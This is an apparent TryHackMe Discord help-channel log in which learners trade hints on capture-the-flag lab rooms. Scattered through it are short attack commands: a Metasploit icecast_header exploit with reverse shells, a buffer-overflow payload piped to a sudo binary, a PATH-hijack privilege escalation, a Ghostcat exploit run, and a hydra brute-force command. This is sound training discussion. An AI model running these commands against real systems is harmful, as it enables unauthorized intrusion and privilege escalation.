
#

i so need a mentor if one can help me. i just want to learn and have a passion again to code and i want to keep it going... sorry if this is the wrong room im just asking for help in learning..

stuck fractal Jun 25, 2020, 12:06 AM

#

This is the wrong chat.

#

And that's not what the community mentors are for.

craggy owl Jun 25, 2020, 12:06 AM

#

sorry where should i send this to?

#

oh .. sorry i thought it was for that

stuck fractal Jun 25, 2020, 12:06 AM

#

Mentors offer specific help with rooms or the VPN.

craggy owl Jun 25, 2020, 12:07 AM

#

yes i have a questino about a room

stuck fractal Jun 25, 2020, 12:07 AM

#

If you want to find people to learn with, #689615473620287603

#

If you want help with a room, #room-help

#

If you want a hint with a room, #room-hints

craggy owl Jun 25, 2020, 12:07 AM

#

okay.. i have been there but seem not to get help but i am still all new and will figure it out

#

sorry

white salmon Jun 25, 2020, 12:08 AM

#

||I'm really sorry, it's just that it has already been 3 days and there is a part that says "let's log into Miles share" and even though I'm already logged in with username and password, I cannot get it to match what the walkthrough says||

stuck fractal Jun 25, 2020, 12:09 AM

#

head to #room-help and show a screenshot of the share

white salmon Jun 25, 2020, 12:27 AM

#

@white salmon, it's very annoying when you're trying to solve a hacktivity and you find out the problem is not your skill, it's a bug in the room.

stuck fractal Jun 25, 2020, 12:28 AM

#

This wasn't an issue with the room in this case

white salmon Jun 25, 2020, 12:28 AM

#

No, this was me being stupid :/

#

I was getting the letters N and D confused

#

Which room are you doing?

stuck fractal Jun 25, 2020, 12:33 AM

#

It's solved, but Skynet

white salmon Jun 25, 2020, 12:39 AM

#

Ah, okay, just wondering.

#

I'm trying to do the room Agent-Sudo and it's asking me for a zip file password in task 3 question 2. But I can't find it in the FTP service.

#

I can only see a .txt, jpg and png.

stuck fractal Jun 25, 2020, 12:43 AM

#

Hmm, what about hiding files in images?

#

(I might be wrong, it's been a while)

white salmon Jun 25, 2020, 12:44 AM

#

I have used Stegcracker on cute-allen.jpg but that didn't give me a password.

stuck fractal Jun 25, 2020, 12:45 AM

#

I mean, have you tried something like stegoveritas to see if there is even anything there?

white salmon Jun 25, 2020, 12:51 AM

#

Would steghide suffice?

stuck fractal Jun 25, 2020, 12:54 AM

#

Stegoveritas detects steghide, that's the goal

#

It does a bunch of steg detection and extraction techiques

tribal hearth Jun 25, 2020, 12:56 AM

#

Hey, I am going through BP Networking and I'm having a very difficult time finding the answer to
A third predominant address type is typically reserved for the router, what is the name of this address type?
I've tried numerous answers but I can't seem to find any information, can someone point me in the right direction?

stuck fractal Jun 25, 2020, 12:56 AM

#

ipconfig in windows will tell you it

tribal hearth Jun 25, 2020, 12:57 AM

#

Oh I don't have a Windows machine

#

I'll try it in wine

#

Ok nvm I'm dumb, thank you!

oblique cliff Jun 25, 2020, 12:58 AM

#

You’re not dumb

tribal hearth Jun 25, 2020, 12:58 AM

#

yeee I knew it once I saw it, just couldn't think of the word lol

white salmon Jun 25, 2020, 1:11 AM

#

I just extracted cutie.png with stegovertias but nothing of interest in there.

#

Don't worry. I'm really stupid.

#

-.-

oblique cliff Jun 25, 2020, 1:20 AM

#

You’re not

mortal thorn Jun 25, 2020, 9:49 AM

#

Hey guys, I hope you can help me. i'm stuck to the answer in CC: Pen Testing: Task8 #7 What option sets the architecture to be exploited? It's 4 characters and I'm a bit confused, 'cause i tried everything.

rocky mist Jun 25, 2020, 9:51 AM

#

hi!
i'm stuck for a long time in linux challanges flag 26 (
Find flag 26 by searching all files for a string that starts with 4bceb and is 32 characters long).
I tried to do all kinds of command variations and nobody worked for me .. For example:
||grep -x '. \ {32 }' / * -R -s 'Permission denied' -i '4bceb'||
I would love for hint to tell me what I'm doing wrong, thank you!

velvet wharf Jun 25, 2020, 10:53 AM

#

hello everyone, I'm stuck on ICE today https://tryhackme.com/room/ice

TryHackMe

TryHackMe | Ice

Deploy & hack into a Windows machine, exploiting a very poorly secured media server.

copper gate Jun 25, 2020, 10:54 AM

#

Hi Guys,
Anyone has an idea on the Network Services room Task 4 #8
I already have the id_rsa, where do I need to pass it? Been stuck for a while.

velvet wharf Jun 25, 2020, 10:55 AM

#

For ICE, MS17-010 looks promising but, it can't find a pipe using both py and msf exploits

#

The recommended Icecast msf module doesn't work off the bat. A listener is created but nothing connects back

spiral stag Jun 25, 2020, 10:57 AM

#

@velvet wharf task #3 question 2?

#

you need to enter a cve there

#

that works

velvet wharf Jun 25, 2020, 10:57 AM

#

Task 7 Q 7

spiral stag Jun 25, 2020, 10:58 AM

#

they link you the exploit-db

#

i don't think ice is about ms17-010 at all

velvet wharf Jun 25, 2020, 10:59 AM

#

I was just trying other angles

spiral stag Jun 25, 2020, 10:59 AM

#

ah ok

velvet wharf Jun 25, 2020, 11:00 AM

#

they are talking about the icecast msf module but i cant get that to work

spiral stag Jun 25, 2020, 11:01 AM

#

im doing that one right now

#

and have teh icecast one woking

velvet wharf Jun 25, 2020, 11:04 AM

#

am I missing something? use exploit/windows/http/icecast_header
set LHOSTS x.x.x.x
set RHOSTS x.x.x.x
exploit

#

Started HTTPS reverse handler on https://10.8xxxxx
[*] Exploit completed, but no session was created.

spiral stag Jun 25, 2020, 11:05 AM

#

i changed the payload

#

that one is buggy for me aswell

velvet wharf Jun 25, 2020, 11:06 AM

#

let me try

#

ah OH, that works

#

just used a win shel rev

#

thank yo

spiral stag Jun 25, 2020, 11:08 AM

#

you might wanna try the windows/meterpreter/reverse_tcp

#

np

#

gl!

velvet wharf Jun 25, 2020, 11:08 AM

#

i can upgrade from in the shell

#

I'll try that too

#

i have a gcc question too. I tried doing it without MSF and I downloaded 573.c ant then ran
gcc -o 573 573.c
chmod +x 573
./573

#

and it says:
Failed to execute process './573'. Reason:
exec: Permission denied

#

have you seen that before? Also I'm using fish. Not sure if that makes a difference

spiral stag Jun 25, 2020, 11:12 AM

#

no clue

velvet wharf Jun 25, 2020, 11:17 AM

#

Ok, I'll mess with it later. Thanks for the help

oblique cliff Jun 25, 2020, 11:55 AM

#

Is that the way you’re supposed to compile it? Read the exploit it might not be

spiral stag Jun 25, 2020, 12:00 PM

#

it is

#

the payload sucks tho

#

😠

oblique cliff Jun 25, 2020, 12:01 PM

#

Interesting

spiral stag Jun 25, 2020, 12:01 PM

#

been trying to generate my own with msfvenom

#

but none will stick

#

tried bind / reverse /add user

📎 unknown.png

mild eagle Jun 25, 2020, 2:45 PM

#

Yotf Got access revershell and did some enumeration and found something interesting but need a hint to exploit after I got a reverse shell. Lets say || there is a difference in local ports and public ports||

median compass Jun 25, 2020, 2:54 PM

#

sounds like you're on the right track @mild eagle

#

what would you do to a port ||if you could see it from your attack box?|| then think about how to do that in your case

mild eagle Jun 25, 2020, 3:00 PM

#

@median compass yes i just dont know || how to proxy that port to my attack machine - my Google fu is weak today||

median compass Jun 25, 2020, 3:01 PM

#

you could look at ||socat|| or perhaps ||upgrade your shell to meterpreter and look at the options baked into that||

oblique cliff Jun 25, 2020, 3:09 PM

#

||i just wanted to join ||in ||on the spoiling fun|| 👀

mild eagle Jun 25, 2020, 3:11 PM

#

@median compass tnx Think that will get me a bit further

prisma bronze Jun 25, 2020, 4:09 PM

#

I also got access to that port but still dont know what to do with it cri

mild eagle Jun 25, 2020, 6:04 PM

#

@median compass || could it be something with portfwd been struggling to "the do the thing" once I've used that cmd||

mild eagle Jun 25, 2020, 7:10 PM

#

@prisma bronze yotf ??

halcyon pumice Jun 25, 2020, 7:43 PM

#

Hi can anyone guide me in the BP Networking room. I'm stuck only 1 question in the entire room.

#

"Of these addresses two are reserved, what is the first addresses typically reserved as?"

oblique cliff Jun 25, 2020, 7:51 PM

#

@halcyon pumice research what the 2 reserved IP addresses are in a network

halcyon pumice Jun 25, 2020, 7:56 PM

#

solved it

#

thanks!

past night Jun 25, 2020, 9:52 PM

#

don't spoil the answers @halcyon pumice

oblique cliff Jun 25, 2020, 10:45 PM

#

hint on tomghost? I ||rerouted the tomcat server (on port 8009) so that i can log in locally, but its not default credentials (that I can find)|| is that the right port to try to exploit or should I try ||port 53||?

past night Jun 25, 2020, 10:46 PM

#

what are usually some default credentials @oblique cliff

oblique cliff Jun 25, 2020, 10:46 PM

#

||https://github.com/netbiosX/Default-Credentials/blob/master/Apache-Tomcat-Default-Passwords.mdown||

#

^

#

it only prompts me for a password though

past night Jun 25, 2020, 10:47 PM

#

there is a specific exploit you need to use for it

#

it's in the room header, or whatever is called

#

i cropped it out. have a look there

📎 unknown.png

oblique cliff Jun 25, 2020, 10:48 PM

#

thanks 😄

past night Jun 25, 2020, 10:48 PM

#

no problemo

#

@ me if you get stuck again

#

it gets a littleharder after the foothold but should be manageable

oblique cliff Jun 25, 2020, 10:50 PM

#

gotcha, turns out thats the exploit i was trying i just couldnt get it working, ill #tryharder

#

but i have to eat dinner now so may @ you in awhile

past night Jun 25, 2020, 10:50 PM

#

^^

#

you're missing something most likely

oblique cliff Jun 25, 2020, 10:52 PM

#

alrighty i tri hard first

past night Jun 25, 2020, 10:52 PM

#

go

#

try harder

oblique cliff Jun 25, 2020, 10:54 PM

#

@past night im an absolute moron

#

the reason it was giving me only an option to give a password is cuz it was asking for my kali password to get permission to start a service lol

#

but it was right other than that stupidity

past night Jun 25, 2020, 10:55 PM

#

slowclap

stuck fractal Jun 25, 2020, 10:55 PM

#

We all make mistakes, don't beat yourself up over it

oblique cliff Jun 25, 2020, 10:57 PM

#

its ok im tough enough to fight back coolguy

past night Jun 25, 2020, 11:00 PM

#

well, as i usually say 'I am the mortal instrument of my own death'

oblique cliff Jun 25, 2020, 11:43 PM

#

excuse me mr mortal instrument of your own death @past night , but the ||usual tomcat default credentials dont work and those have never failed me for tomcat|| so i am both disheartened and lost

patent token Jun 26, 2020, 12:02 AM

#

Is this ghostcat?

#

Oh Tomghost.

#

Same thing.

#

What have you tried so far Bob?

#

@oblique cliff

oblique cliff Jun 26, 2020, 12:03 AM

#

I've tried the usual ||tomcat default creds list|| but that didnt work, so i tried brute forcing with rockyou with username ||admin|| but nothing after 5 minutes so i stopped that one

patent token Jun 26, 2020, 12:04 AM

#

Tomghost isn't a typical Apache site.

#

Tomcat*

oblique cliff Jun 26, 2020, 12:04 AM

#

and then I found exploit ||48143|| but i cant get it to work

patent token Jun 26, 2020, 12:04 AM

#

📎 unknown.png

#

Ok, so you found the CVE

oblique cliff Jun 26, 2020, 12:04 AM

#

yea, unable to get it to work unfortunately

patent token Jun 26, 2020, 12:04 AM

#

How did you attempt to run it?

oblique cliff Jun 26, 2020, 12:05 AM

#

📎 SPOILER_unknown.png

#

maybe i should run it ||against the remote machine|| ill try that

patent token Jun 26, 2020, 12:05 AM

#

Not sure why you went to that length.

#

What's your machine IP?

#

Like the THM

oblique cliff Jun 26, 2020, 12:06 AM

#

10.9.1...

patent token Jun 26, 2020, 12:06 AM

#

||python 48143.py ipaddrhere||

oblique cliff Jun 26, 2020, 12:06 AM

#

but i can access tomcat on localhost rn cuz i set it up that way

patent token Jun 26, 2020, 12:06 AM

#

Try it my way and see what you get. 🙂

oblique cliff Jun 26, 2020, 12:07 AM

#

😢

#

sadness

#

thank you

patent token Jun 26, 2020, 12:07 AM

#

Also, the vulnerable service isn't actually on port 80. You're looking at the ||ajp|| service, which is on 8009.

oblique cliff Jun 26, 2020, 12:07 AM

#

right, but I ||was forwarding it to my local machine on my port 80||

patent token Jun 26, 2020, 12:08 AM

#

This isn't an exploit that is like that. It's mostly a file read vulnerability.

oblique cliff Jun 26, 2020, 12:08 AM

#

because I was ||forwarding it|| or whatever it is im actually doing with the service I thought that ||i would have to exploit it through my machine|| hence using ||that IP|| when doing that

patent token Jun 26, 2020, 12:09 AM

#

It's more of a file content disclosure vulnerability. Maybe there is a way to exploit it like that, but I'm personally not aware of one. And in the case of this machine, they are looking very specifically for the output that comes from that exploit being run correctly.

oblique cliff Jun 26, 2020, 12:09 AM

#

I get that, but I thought the exploit was going to take advantage of tomcat, which is either being run on the remote machine port 8009, or my machine port 80

#

i guess i overthought it

#

but anyway, thanks ^^

#

wait so did I not have to set up this forwarding at all?

patent token Jun 26, 2020, 12:10 AM

#

Not really. It's exploiting the Jserv service, not Tomcat.

#

No forwarding necessary.

oblique cliff Jun 26, 2020, 12:11 AM

#

oh thats actually kinda funny, cuz ive been brute forcing this since i set it up to forward to me, so i thought thats what i was supposed to be doing haha

📎 unknown.png

patent token Jun 26, 2020, 12:11 AM

#

Not in this case. But that's interesting thinking.

oblique cliff Jun 26, 2020, 12:12 AM

#

damn, went down an unintentional rabbit hole 😆

past night Jun 26, 2020, 12:13 AM

#

https://tenor.com/view/congrats-djkhlaed-player-yourself-foolingyourself-gif-4961672

Tenor

congrats

▶ Play video

#

have a djkhaled for yourself @oblique cliff

oblique cliff Jun 26, 2020, 12:13 AM

#

brutal

past night Jun 26, 2020, 12:14 AM

#

i use any occasion i can find for this gif

#

i'm sorry it had to be you this time

oblique cliff Jun 26, 2020, 12:16 AM

#

its ok i deserved it

oblique cliff Jun 26, 2020, 12:39 AM

#

alright back at it, still fumbling around as user... i assume I need to find ||a password somewhere to decrypt this pgp file||, but hunting around couldnt find anything. Hints on where to look if thats right and if not then what to do otherwise?

#

still tomghost^

patent token Jun 26, 2020, 12:41 AM

#

Sure. Check the ||skyfuck directory||

#

Oh dur. Need to read better.

#

||gpg2john||

#

There @oblique cliff proper hint.

oblique cliff Jun 26, 2020, 12:43 AM

#

didnt even know that tool existed, I'm so behind the cryptography times

patent token Jun 26, 2020, 12:44 AM

#

||use the correct file||

oblique cliff Jun 26, 2020, 12:52 AM

#

just so i feel better about myself i feel the need to say i did use the correct file without being prompted 👀

#

got root, thanks for the help mayor!!

#

and thanks for the wonderful motivational speeches @past night

#

question mayor, for something like that where I had never heard of that tool gpg2john, is there something you do to discover new tools for the appropriate situation? or is that just experience?

patent token Jun 26, 2020, 1:05 AM

#

Think I was probably as stuck as you were and looked at the guide. No way to know what you’re seeing if you don’t know what it is or how to use it.

oblique cliff Jun 26, 2020, 1:08 AM

#

makes sense

#

thanks senor mayor. As always, you got my vote 😉

patent token Jun 26, 2020, 1:22 AM

#

thanks!

exotic rose Jun 26, 2020, 1:22 AM

#

For PS Empire stagers, what’s the difference between the BindIP and the Host? My stager works when I set both of these with my host ip, but not with just Host set

white salmon Jun 26, 2020, 1:45 AM

#

For network services room, telnet section, is the telnet port closed on purpose?

patent token Jun 26, 2020, 1:46 AM

#

Hi Jyuken. No need to ask in different channels. When someone who sees your question can answer it, they will. The community is super helpful. 🙂

#

In this case, looks like you should review the room instructions. Looks like you need a port other than the typical one.

white salmon Jun 26, 2020, 1:55 AM

#

@patent token so even though the section is all about telnet, it may be a different port?

patent token Jun 26, 2020, 1:56 AM

#

You aren't required to keep a service on it's common port.

#

It's actually common for network and system administrators to use obscure ports for services.

#

Quite common, in fact.

white salmon Jun 26, 2020, 1:56 AM

#

Oh yes understood

#

Thank you

patent token Jun 26, 2020, 1:57 AM

#

You're welcome. 🙂

mild eagle Jun 26, 2020, 6:21 AM

#

Maybe a stupid question but when running a portfwd from meterpreter session do the remote port need to be exposed to the outside??

keen willow Jun 26, 2020, 8:54 AM

#

i am trying to get into jack so i decided to rock with jack on a xmlrpc stage. Am i going right ?

dusky vigil Jun 26, 2020, 10:01 AM

#

@mild eagle if you're connected to the vpn then no it won't need to be exposed (or the THM virtual machine)

mild eagle Jun 26, 2020, 10:03 AM

#

@dusky vigil okay tnx guess I must be doing something wrong the 😀

white salmon Jun 26, 2020, 11:34 AM

#

Anyone get this bug when upgrading their shell?

📎 bug.png

keen willow Jun 26, 2020, 1:03 PM

#

is rockyou okay for jack, i am bruteforcing since morning without luck

quiet stump Jun 26, 2020, 1:21 PM

#

Most rooms tend to use rockyou yeah

dull marlin Jun 26, 2020, 1:27 PM

#

Anyone get this bug when upgrading their shell?
@white salmon Can you share your options with us?

tidal sedge Jun 26, 2020, 2:28 PM

#

@keen willow Rockyou won't work for Jack.

keen willow Jun 26, 2020, 3:25 PM

#

@keen willow Rockyou won't work for Jack.
@tidal sedge I realized that, so, is finding right wordlist makes this room hard ?

#

or i am entirely on wrong path, I am bruteforcing coz in forum i read a shorter wordlist would work.

dull marlin Jun 26, 2020, 3:28 PM

#

From my point of view, find the right wordlist can not be the sense of this room. I don't think it's the reason why it's hard.

tidal sedge Jun 26, 2020, 3:28 PM

#

It's a common wordlist, it's also quite small in size hence the bruteforce will be fast .

dull marlin Jun 26, 2020, 3:29 PM

#

Can you tell us, which other list did you choose?

keen willow Jun 26, 2020, 3:35 PM

#

nmap.lst, john/password.lst, fasttrack.txt

#

next wud be wordpress-attacks-july2014.txt

keen willow Jun 26, 2020, 3:56 PM

#

@dull marlin can you please pm me some hint.

#

Can you tell us, which other list did you choose?
@dull marlin 10-million-password-list-top-1000.txt, xato-net-10-million-passwords-10000.txt these are currenly on work.

spiral snow Jun 26, 2020, 4:09 PM

#

Anyone able to assist with the reverse engineering room? I see what it's comparing the entered value to "cmp eax, xxxxx" but when converting the "xxxxx" hex value to both base32 and base64 I'm met with an incorrect answer. Any hints/tips for crackme2.bin

thorny pond Jun 26, 2020, 4:17 PM

#

On linux Challenges when trying to find flag26 i've tried running find / -type f | grep -rl "^[4bceb].{27}?" and find / -type f | grep -rl "^[4bceb]", both display the same 4 files and after manually going over them i don't seem to be able to find it, any hint to the right direction?

oblique cliff Jun 26, 2020, 4:18 PM

#

@thorny pond right now youre grepping the file names. you need to grep the contents of the file

#

I would research how to use find and then grep the contents of the files

thorny pond Jun 26, 2020, 4:19 PM

#

ahhh that makes sense, thanks!

real storm Jun 26, 2020, 6:15 PM

#

I just did agent-sudo, and even though I could only do half the room by myself, I loved it. :)
Props to DesKel

white salmon Jun 26, 2020, 9:26 PM

#

Yea I enjoyed agent-sudo as well

eternal wadi Jun 27, 2020, 4:14 AM

#

@proven bridge do you still accept dm for carpe diem. stuck on getting second flag 😂

north moat Jun 27, 2020, 5:15 AM

#

There no any writeup for Year of the Fox?

lean rover Jun 27, 2020, 5:20 AM

#

Muir made the post protected to spite us. >.<

hasty slate Jun 27, 2020, 7:50 AM

#

hey.. so in the latest box my exploit is working in local.. but it's not working inside the box

#

I added ;cat at the end. but it just breaks.

wooden mist Jun 27, 2020, 7:56 AM

#

Latest box? Dave's blog?

#

@hasty slate

hasty slate Jun 27, 2020, 8:02 AM

#

yes

wooden mist Jun 27, 2020, 8:02 AM

#

I had many iterations of my exploit work locally but not on the box

#

Mind showing how you're passing the payload to the program?

#

Oh wait, I should ask what stage are you on first lol

hasty slate Jun 27, 2020, 8:03 AM

#

root flag

#

with python..
||(python -c "print('A'*N+<payload>)" ;echo "";cat) | sudo /uid_checker||

wooden mist Jun 27, 2020, 8:03 AM

#

Okie

#

Sooo that did not work for me no matter what payload I passed

hasty slate Jun 27, 2020, 8:04 AM

#

though working in local? 😦

wooden mist Jun 27, 2020, 8:04 AM

#

Yup

#

Pwntools was a lifesaver

#

Ssh channel ;)

hasty slate Jun 27, 2020, 8:05 AM

#

hmm.. lol.. sorry.. but I don't know enough about binexp to grasp what u're trying to say xD i will just research and read up more

wooden mist Jun 27, 2020, 8:06 AM

#

I don't know binex too, I got through this by gluing programs and looking at docs

hasty slate Jun 27, 2020, 8:06 AM

#

yeah so using ssh not rev shell

#

I don't know binex too, I got through this by gluing programs and looking at docs
@wooden mist ohk lol

#

thanks 🙂

#

@wooden mist so one thing even in the box it goes into the required function(cause it prints the msg). But the shell is not persisted.

#

just wanted to mention that.

wooden mist Jun 27, 2020, 8:13 AM

#

The persistence depends on your payload

hasty slate Jun 27, 2020, 8:25 AM

#

oh ohk

hoary star Jun 27, 2020, 9:29 AM

#

https://offensivenoob.blogspot.com/2020/06/tryhackme.html

TryHackme:Pickle Rick

radiant violet Jun 27, 2020, 10:04 AM

#

for year of the fox machine got user fox
is pivoting to the other user is right way to ge root?

undone path Jun 27, 2020, 10:23 AM

#

Hi!! Anyone could help me with the Buffer Overflows room, i'm struggling with the last challenge

floral olive Jun 27, 2020, 10:25 AM

#

How a decipher the cipher.txt in the room year of the Fox ?

radiant dew Jun 27, 2020, 10:41 AM

#

Advent of Cyber, day 11. Anonymous FTP. Nearly all commands give me "500 Illegal PORT command". Passive mode doesn't work either. Any ideas?

radiant violet Jun 27, 2020, 10:41 AM

#

@floral olive rabbit hole

steady stratus Jun 27, 2020, 10:51 AM

#

Switch vpn servers @radiant dew it’s a known bug to happen at times (:

radiant dew Jun 27, 2020, 10:52 AM

#

Switch vpn servers @radiant dew it’s a known bug to happen at times (:
@steady stratus Do you mean change machine?

steady stratus Jun 27, 2020, 10:53 AM

#

Ahh noo. If you look on the access page on the THM site you can change what VPN server you’re connected to

#

Change to a different one (I.e. from eu regular 2 to regular 1)

#

If it’s your first time changing over you’ll have to regenerate your config file and use that

#

But any further switching you shouldn’t need to regenerate it again

radiant dew Jun 27, 2020, 10:57 AM

#

Awww I don't like my new IP 😦

#

But at least it works now, thanks @steady stratus !

steady stratus Jun 27, 2020, 10:58 AM

#

Ayyy nice one hehe. It’ll take a bit of getting used too

#

I had something like 10.10.11.23 something near to that sequence

radiant dew Jun 27, 2020, 11:01 AM

#

If I change it back to my local server, will the IP stay the same? And I can use the same .ovpn file from now on?

steady stratus Jun 27, 2020, 11:12 AM

#

Your ip should remain the same and you should be able to use the same config file now yes

#

It’s just the one time if you need to switch servers is all (:

radiant dew Jun 27, 2020, 11:13 AM

#

Soun

#

d

lusty wigeon Jun 27, 2020, 11:21 AM

#

@wooden mist can i pm you about davesblog? i have ||pwntools working on local but not remote|| wanna know how did you fixed it.

wooden mist Jun 27, 2020, 11:22 AM

#

Sure

copper gate Jun 27, 2020, 12:11 PM

#

Hi, can someone give me an idea regarding Intro to Python room Task #12

spiral stag Jun 27, 2020, 12:12 PM

#

whats the issue?

copper gate Jun 27, 2020, 12:12 PM

#

how can i pass the result of the loop to the next loop?

spiral stag Jun 27, 2020, 12:13 PM

#

save it as a variable and pas it on?

#

pls dont post answers here

#

remove that pls

#

and instead of print do return

copper gate Jun 27, 2020, 12:14 PM

#

why does it say return outside function?

spiral stag Jun 27, 2020, 12:15 PM

#

def somefuncion(code):
  dosomething
  return value

#

should be inside the function

#

same indent

copper gate Jun 27, 2020, 12:15 PM

#

so all my loops should be inside one function?

spiral stag Jun 27, 2020, 12:15 PM

#

no

#

ah, you have loops, not functions

copper gate Jun 27, 2020, 12:16 PM

#

i have 3 loops

#

am I doing it wrong

spiral stag Jun 27, 2020, 12:16 PM

#

not necessarily

#

you need to save it in a variable tho

copper gate Jun 27, 2020, 12:17 PM

#

can I dm you real quick?

spiral stag Jun 27, 2020, 12:17 PM

#

sure

obsidian kettle Jun 27, 2020, 1:12 PM

#

Can anyone help me with JVM reversing task 6?

spiral stag Jun 27, 2020, 1:13 PM

#

which room?

obsidian kettle Jun 27, 2020, 1:14 PM

#

https://tryhackme.com/room/jvmreverseengineering

TryHackMe

TryHackMe | JVM Reverse Engineering

Learn Reverse Engineering for Java Virtual Machine bytecode

spiral stag Jun 27, 2020, 1:15 PM

#

a, havn't done that one yet

real storm Jun 27, 2020, 1:15 PM

#

Currently doing LazyAdmin. I found the user flag by spawning a reverse shell.
I see that SSH is open and I found the db credentials, but neither do I see the port for mysql open, nor I can think of a way to privesc. Any hints?

spiral stag Jun 27, 2020, 1:18 PM

#

where can you login with those creds?

#

exploit that

#

oh wait you already have rev shell

#

enumerate

real storm Jun 27, 2020, 1:20 PM

#

0_0

#

Umm..okay...lemme look around more

oblique cliff Jun 27, 2020, 1:51 PM

#

@real storm you don’t have a reverse shell yet do you?

#

If not try directory busting some more

#

To find where you can use those credentials

real storm Jun 27, 2020, 1:53 PM

#

I found the login creds to the webportal, uploaded a shell and connected to it with nc

#

I'm gonna look into this in an hour or two, there's codechef lunchtime in 5 mins so 😛

proven bridge Jun 27, 2020, 2:37 PM

#

@proven bridge do you still accept dm for carpe diem. stuck on getting second flag 😂
@eternal wadi Absolutely

lusty swan Jun 27, 2020, 8:00 PM

#

Hi

oblique cliff Jun 27, 2020, 8:01 PM

#

just ask your question

white salmon Jun 27, 2020, 11:58 PM

#

guys

#

in Cicada: 3301 vol1 by cryllic, i always input ||cicada|| and ||Hm5R_4_P455mhp453!|| in the vigenere cipher but then i get ||Fe5P_4_P455jhn453!||

solemn smelt Jun 27, 2020, 11:58 PM

#

try the opposite way 👀

white salmon Jun 27, 2020, 11:58 PM

#

OOF

solemn smelt Jun 27, 2020, 11:59 PM

#

that was actually an error on my part then I was too lazy to fix it and just made it part of the challenge

white salmon Jun 28, 2020, 12:00 AM

#

crap it didnt spoil the image

#

📎 SPOILER_unknown.png

#

@solemn smelt

solemn smelt Jun 28, 2020, 12:01 AM

#

use cyberchef and go the other way

white salmon Jun 28, 2020, 12:02 AM

#

the key needs to have only letters

#

ohhhhhhhhhh

#

wait

#

ahhh

#

nevermind i got it thanks

crystal aurora Jun 28, 2020, 2:00 AM

#

What is the 11-bit arbitration ID in Hex for the turn signals?

regal comet Jun 28, 2020, 2:08 AM

#

Hey guys, re yotf’s root flag; did anyone get it in the way that was intended? I understand the vulnerability used by others has been patched.

rich gust Jun 28, 2020, 2:39 AM

#

hey all - stuck in kenobi on the last task.
echo /bin/sh > curl
chmod 777 curl
export PATH=/tmp:$PATH
/usr/bin/menu

When I execute the latter, I still get the standard status check message - no root terminal. I've bounced the machine 3 times and still the same results. Any idea?

patent token Jun 28, 2020, 2:41 AM

#

Which option are you selecting?

rich gust Jun 28, 2020, 2:42 AM

#

option1

patent token Jun 28, 2020, 2:42 AM

#

Also, make sure you are in the tmp directory when running those commands.

#

If I remember correctly that is what I was doing wrong when I did it.

rich gust Jun 28, 2020, 2:42 AM

#

I was afraid it'd be that simple.

#

Damnit! Now I'm embarrassed. LOL Thanks

patent token Jun 28, 2020, 2:44 AM

#

Don't be. Do you understand why it wasn't working?

rich gust Jun 28, 2020, 2:45 AM

#

i had created /tmp in Kenobi's home path.

patent token Jun 28, 2020, 2:46 AM

#

Yep. And when you were creating curl, you weren't adding it to the /tmp directory. So when you fired off the /usr/bin/menu program, it was going through that PATH, but not finding your curl payload, so it went to the next location it could be in.

#

So eventually it found the correct one instead.

rich gust Jun 28, 2020, 2:46 AM

#

That makes sense.

patent token Jun 28, 2020, 2:47 AM

#

Had you declared /home/kenobi/tmp in the export PATH= statement, it would have worked if you were placing it in the /home/kenobi/tmp directory you made.

rich gust Jun 28, 2020, 2:47 AM

#

I should've thought just a little bit more about the problem and I would've caught it.

patent token Jun 28, 2020, 2:48 AM

#

I was stuck for about 20 minutes the other day on it while I was going back and reviewing some rooms. It happens. 🙂

#

Good learning opportunity/lesson. Glad we got it sorted out for you.

rich gust Jun 28, 2020, 2:48 AM

#

Thanks for the help!

patent token Jun 28, 2020, 2:49 AM

#

You're very welcome.

calm ridge Jun 28, 2020, 10:04 AM

#

https://tryhackme.com/room/windows10privesc

Some ane please help me in task 16 please😩 😩

TryHackMe

TryHackMe | Windows PrivEsc

Practice your Windows Privilege Escalation skills on an intentionally misconfigured Windows VM with multiple ways to get admin/SYSTEM! RDP is available. Credentials: user:password321

inland onyx Jun 28, 2020, 10:05 AM

#

@regal comet writeup is now out

lean rover Jun 28, 2020, 10:15 AM

#

For YOTF?

#

I didnt see the backstory, but this would be interesting if true.

steep oriole Jun 28, 2020, 10:17 AM

#

So, I am doing Custom Wordlists task 4 question 2 and I have appended an ! to the end of every word on rockyou.txt but the password is still not cracked. Am I doing this wrong?

lean rover Jun 28, 2020, 10:20 AM

#

Have not done the room, but just going to say that perhaps you added an extra space or something.

#

Not sure.

steep oriole Jun 28, 2020, 10:22 AM

#

Every time I check it the ! was at the end with no added characters. Using the hint to verify and the commands it shows as an example says to add a suffix. Hmmm. Might need to go back to the drawing board

lean rover Jun 28, 2020, 10:22 AM

#

Perhaps. Not sure man, sorry I can't be of great help.

steep oriole Jun 28, 2020, 10:23 AM

#

Nah, all good. Figured it was worth an ask just incase someone had an idea

inland onyx Jun 28, 2020, 11:26 AM

#

For YOTF?
@lean rover Mhm

lean rover Jun 28, 2020, 11:27 AM

#

Very nice! Hoping for it to be a good learning experience once I get stuck.

inland onyx Jun 28, 2020, 11:27 AM

#

There are some interesting techniques in it (imho), although the way they're put together isn't hugely realistic.

#

No full on "CTF-only" things though -- not in the actual challenge. So no stego, or encoding or anything like that

#

~~Not unless you fall into a troll~~

carmine scroll Jun 28, 2020, 11:43 AM

#

I was doing the hydra room and cracked the ssh password but the first task. I am trying with this :

#

|| hydra -l molly -P /usr/share/wordlists/rockyou.txt http-post-form "/login:username=^USER^&password=^PASS^:F=Found" http://<ip address> .||

#

can someone give a hint where I am wrong, I am stuck from a while

lean rover Jun 28, 2020, 11:44 AM

#

Well, for one you don’t have an end quote...

#

Oh, it appears you do, my apologies.

#

The http://ip caught me off guard. Not used to seeing it in that place. Either way, did you use burpsuite to grab the login request?

carmine scroll Jun 28, 2020, 11:46 AM

#

I can do this with burpsuite but I want to do it with hydra

#

yes i have the request in burpsuite tool

lean rover Jun 28, 2020, 11:46 AM

#

Okay, can we take this to DMs?

carmine scroll Jun 28, 2020, 11:47 AM

#

yes

lean rover Jun 28, 2020, 12:13 PM

#

Resolved.

regal comet Jun 28, 2020, 12:43 PM

#

@inland onyx you are evil 🙂

#

Just saw the writeup.

hasty slate Jun 28, 2020, 12:43 PM

#

^yotf? yeah the intended root route is .. like.. wow

regal comet Jun 28, 2020, 12:45 PM

#

I looked at the binary and started testing but after powering off the machine twice and needing to start from scratch was a bit too much for me

#

But I guess that’s what separates a “good” tester from a great one

#

Thank you 🙏

wispy girder Jun 28, 2020, 12:49 PM

#

Oh wow, I thought the shutdown binary was a troll. I never got root in the end! What were the creds/cipher files for?

hasty slate Jun 28, 2020, 12:49 PM

#

umm.. let's say u got trolled .. big time 🙂

inland onyx Jun 28, 2020, 12:49 PM

#

@wispy girder trolls

